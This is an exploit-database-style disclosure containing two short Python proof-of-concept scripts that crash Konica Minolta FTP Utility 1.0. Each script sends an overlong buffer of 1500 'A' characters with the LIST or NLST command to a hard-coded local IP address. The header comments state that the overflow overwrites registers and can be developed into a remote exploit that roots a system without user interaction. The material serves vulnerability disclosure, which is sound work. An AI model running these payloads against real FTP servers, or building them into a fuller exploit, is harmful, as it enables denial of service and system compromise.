Konica Minolta FTP Utility 1.0 Denial Of Service

`# Exploit Title: Konica Minolta FTP Utility v1.0 - 'LIST' Denial of Service (PoC) v2  
# Date: [05-16-2020]  
#  
# Found by: Alvaro J. Gene (Socket_0x03)  
# Email: Socket_0x03 (at) teraexe (dot) com  
# Website: www (dot) teraexe (dot) com  
#  
# Vulnerable Application: Konica Minolta FTP Utility  
# Version: 1.0  
# Server: FTP Server  
# Vulnerable Command: LIST  
# Tested on: Windows 7 SP1  
#   
# Impact: There is a buffer overflow vulnerability in the LIST command of the FTP server  
# "Konica Minolta FTP Utility" that will allow an attacker to overwrite some registers,   
# such as EAX, ESI, EDI... Even though the next codes will crash the FTP server and overwrite   
# some registers, an individual can use the vulnerable command to build a remote buffer   
# overflow exploit that will root a system without any user interaction.   
  
  
ftp = FTP('192.168.0.16')  
  
buffer = "A" * 1500  
  
ftp.login()  
  
ftp.retrlines('LIST ' + buffer)  
  
  
  
  
# Exploit Title: Konica Minolta FTP Utility v1.0 - 'NLST' Denial of Service (PoC) v2  
# Date: [05-16-2020]  
#  
# Found by: Alvaro J. Gene (Socket_0x03)  
# Email: Socket_0x03 (at) teraexe (dot) com  
# Website: www (dot) teraexe (dot) com  
#  
# Vulnerable Application: Konica Minolta FTP Utility  
# Version: 1.0  
# Server: FTP Server  
# Vulnerable Command: NLST  
# Tested on: Windows 7 SP1  
#   
# Impact: There is a buffer overflow vulnerability in the NLST command of the FTP server  
# "Konica Minolta FTP Utility" that will allow an attacker to overwrite some registers,   
# such as EAX, ESI, EDI... Even though the next codes will crash the FTP server and overwrite   
# some registers, an individual can use the vulnerable command to build a remote buffer   
# overflow exploit that will root a system without any user interaction.   
  
  
from ftplib import FTP  
  
ftp = FTP('192.168.0.16')  
  
buffer = "A" * 1500  
  
ftp.login()  
  
ftp.retrlines('NLST ' + buffer)  
`